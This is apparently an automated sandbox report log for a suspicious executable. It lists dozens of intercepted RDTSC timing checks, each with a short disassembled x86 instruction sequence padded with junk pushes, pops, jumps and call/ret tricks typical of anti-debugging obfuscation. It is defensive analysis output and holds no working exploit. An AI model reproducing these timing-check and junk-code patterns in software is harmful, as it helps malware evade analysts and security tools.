Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 34ABD8 second address: 34AC6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F95D925B969h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F95D925B958h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b mov bl, F4h 0x0000002d push 00000000h 0x0000002f sub dword ptr [ebp+1248340Ch], edi 0x00000035 or ebx, dword ptr [ebp+122D37D6h] 0x0000003b push 00000000h 0x0000003d jmp 00007F95D925B968h 0x00000042 mov di, 1F65h 0x00000046 push eax 0x00000047 pushad 0x00000048 jc 00007F95D925B963h 0x0000004e jmp 00007F95D925B95Dh 0x00000053 push eax 0x00000054 push edx 0x00000055 jbe 00007F95D925B956h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 34BC27 second address: 34BC44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F95D91784ACh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007F95D91784A6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 34BC44 second address: 34BC57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B95Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 34F3DC second address: 34F3E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 34F3E6 second address: 34F3EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 34F3EA second address: 34F3EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 34AE9D second address: 34AEA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3504E2 second address: 3504F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jl 00007F95D91784A8h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3504F6 second address: 3504FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3504FA second address: 35054E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F95D91784A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b nop 0x0000000c mov edi, edx 0x0000000e push 00000000h 0x00000010 add bl, 0000000Bh 0x00000013 push 00000000h 0x00000015 mov dword ptr [ebp+122D192Ch], edi 0x0000001b xchg eax, esi 0x0000001c jne 00007F95D91784B8h 0x00000022 push eax 0x00000023 pushad 0x00000024 jmp 00007F95D91784ADh 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F95D91784AFh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 351625 second address: 35162B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3526C0 second address: 3526CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F95D91784A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3526CA second address: 3526CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3526CE second address: 3526DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3526DD second address: 3526E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3526E1 second address: 3526E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3526E7 second address: 3526ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3526ED second address: 3526F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3557FF second address: 35586C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F95D925B956h 0x00000009 jmp 00007F95D925B967h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 sub dword ptr [ebp+12478C17h], esi 0x0000001a mov dword ptr [ebp+122D1C12h], ebx 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push edx 0x00000025 call 00007F95D925B958h 0x0000002a pop edx 0x0000002b mov dword ptr [esp+04h], edx 0x0000002f add dword ptr [esp+04h], 0000001Dh 0x00000037 inc edx 0x00000038 push edx 0x00000039 ret 0x0000003a pop edx 0x0000003b ret 0x0000003c clc 0x0000003d push 00000000h 0x0000003f mov dword ptr [ebp+122D1A52h], ecx 0x00000045 xchg eax, esi 0x00000046 push eax 0x00000047 push edx 0x00000048 jc 00007F95D925B958h 0x0000004e push ebx 0x0000004f pop ebx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 35586C second address: 355871 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 355871 second address: 35587E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 35587E second address: 355882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 355882 second address: 35589E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F95D925B964h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 34BE4C second address: 34BE53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 34BE53 second address: 34BE59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 34D09C second address: 34D0C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F95D91784BFh 0x00000010 jmp 00007F95D91784B9h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 34F6A8 second address: 34F6AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 34F6AE second address: 34F6B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 35286F second address: 352879 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F95D925B95Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 35398A second address: 3539A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D91784B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 354846 second address: 35484C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 35484C second address: 354870 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F95D91784A8h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F95D91784B4h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 354870 second address: 354879 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 355A90 second address: 355A94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 35784F second address: 3578CA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jns 00007F95D925B956h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edi, ecx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F95D925B958h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 0000001Ah 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d mov di, 334Fh 0x00000031 mov dword ptr [ebp+12479113h], eax 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push eax 0x0000003c call 00007F95D925B958h 0x00000041 pop eax 0x00000042 mov dword ptr [esp+04h], eax 0x00000046 add dword ptr [esp+04h], 00000019h 0x0000004e inc eax 0x0000004f push eax 0x00000050 ret 0x00000051 pop eax 0x00000052 ret 0x00000053 push eax 0x00000054 pushad 0x00000055 push edi 0x00000056 jmp 00007F95D925B960h 0x0000005b pop edi 0x0000005c pushad 0x0000005d pushad 0x0000005e popad 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 356B41 second address: 356B46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 357AD7 second address: 357ADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3599BC second address: 3599C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 3599C0 second address: 359A30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B963h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jp 00007F95D925B95Ch 0x00000011 je 00007F95D925B956h 0x00000017 pushad 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d popad 0x0000001e nop 0x0000001f mov edi, dword ptr [ebp+122D39E2h] 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ecx 0x0000002a call 00007F95D925B958h 0x0000002f pop ecx 0x00000030 mov dword ptr [esp+04h], ecx 0x00000034 add dword ptr [esp+04h], 00000014h 0x0000003c inc ecx 0x0000003d push ecx 0x0000003e ret 0x0000003f pop ecx 0x00000040 ret 0x00000041 push 00000000h 0x00000043 add dword ptr [ebp+122D1ECEh], eax 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F95D925B964h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 359A30 second address: 359A44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95D91784B0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 358B0E second address: 358B12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 358B12 second address: 358BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 movzx ebx, si 0x0000000a push dword ptr fs:[00000000h] 0x00000011 mov ebx, dword ptr [ebp+122D1C8Bh] 0x00000017 mov dword ptr fs:[00000000h], esp 0x0000001e sbb bh, 0000000Eh 0x00000021 mov eax, dword ptr [ebp+122D0C9Dh] 0x00000027 push 00000000h 0x00000029 push ecx 0x0000002a call 00007F95D91784A8h 0x0000002f pop ecx 0x00000030 mov dword ptr [esp+04h], ecx 0x00000034 add dword ptr [esp+04h], 0000001Bh 0x0000003c inc ecx 0x0000003d push ecx 0x0000003e ret 0x0000003f pop ecx 0x00000040 ret 0x00000041 clc 0x00000042 push FFFFFFFFh 0x00000044 push 00000000h 0x00000046 push ebx 0x00000047 call 00007F95D91784A8h 0x0000004c pop ebx 0x0000004d mov dword ptr [esp+04h], ebx 0x00000051 add dword ptr [esp+04h], 00000017h 0x00000059 inc ebx 0x0000005a push ebx 0x0000005b ret 0x0000005c pop ebx 0x0000005d ret 0x0000005e jnc 00007F95D91784ACh 0x00000064 nop 0x00000065 jnp 00007F95D91784B8h 0x0000006b push eax 0x0000006c pushad 0x0000006d jmp 00007F95D91784B8h 0x00000072 push eax 0x00000073 push edx 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 358BC1 second address: 358BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 35AAEA second address: 35AAEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 359C2E second address: 359C3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B95Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 35BA16 second address: 35BA20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F95D91784A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 35BA20 second address: 35BA70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jng 00007F95D925B962h 0x0000000f jmp 00007F95D925B95Ch 0x00000014 nop 0x00000015 sub bx, 7505h 0x0000001a push eax 0x0000001b call 00007F95D925B95Dh 0x00000020 or dword ptr [ebp+122D2367h], edx 0x00000026 pop edi 0x00000027 pop ebx 0x00000028 push 00000000h 0x0000002a or ebx, dword ptr [ebp+122D39AEh] 0x00000030 mov bx, 16BEh 0x00000034 push 00000000h 0x00000036 mov dword ptr [ebp+122D18C6h], edi 0x0000003c xchg eax, esi 0x0000003d push ecx 0x0000003e push edi 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 35BA70 second address: 35BA7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 35BA7D second address: 35BA87 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F95D925B956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 35ACD3 second address: 35ACDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 35ACDA second address: 35ACDF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 35BC58 second address: 35BC5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 35BC5C second address: 35BC62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 36545F second address: 36548B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D91784B1h 0x00000007 jmp 00007F95D91784B3h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 36548B second address: 365495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F95D925B956h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 365495 second address: 36549B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 36B368 second address: 36B36D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 36B416 second address: 36B41A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 36B41A second address: 36B449 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007F95D925B966h 0x0000000e popad 0x0000000f popad 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jbe 00007F95D925B964h 0x0000001a push eax 0x0000001b push edx 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 36B551 second address: 36B57F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F95D91784A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d jo 00007F95D91784BCh 0x00000013 jmp 00007F95D91784B6h 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 36FD82 second address: 36FDAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F95D925B963h 0x0000000b je 00007F95D925B956h 0x00000011 popad 0x00000012 push ecx 0x00000013 jnl 00007F95D925B956h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 36FDAB second address: 36FDB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 370E17 second address: 370E1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 370E1B second address: 370E21 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 37D7A9 second address: 37D7C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D925B964h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 37C447 second address: 37C44C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 37C5F0 second address: 37C5F8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 37C5F8 second address: 37C5FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 37CB79 second address: 37CB7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 37CB7D second address: 37CBB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95D91784B0h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007F95D91784B0h 0x00000011 jmp 00007F95D91784AAh 0x00000016 push ecx 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b pop ecx 0x0000001c popad 0x0000001d pushad 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 jng 00007F95D91784A6h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 37CBB6 second address: 37CBC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 37CBC0 second address: 37CBC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 37C13F second address: 37C14D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jnl 00007F95D925B956h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 37C14D second address: 37C167 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push esi 0x00000008 pushad 0x00000009 jmp 00007F95D91784AFh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 37CFEC second address: 37CFF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 37CFF0 second address: 37CFF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 37CFF4 second address: 37D014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 jmp 00007F95D925B95Dh 0x0000000e jc 00007F95D925B956h 0x00000014 pop edi 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 37D014 second address: 37D01C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 37D01C second address: 37D03C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F95D925B967h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Qmg24kMXxU.exe	RDTSC instruction interceptor: First address: 37D19F second address: 37D1BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F95D91784A6h 0x0000000a jne 00007F95D91784A6h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 jl 00007F95D91784A6h 0x0000001b rdtsc
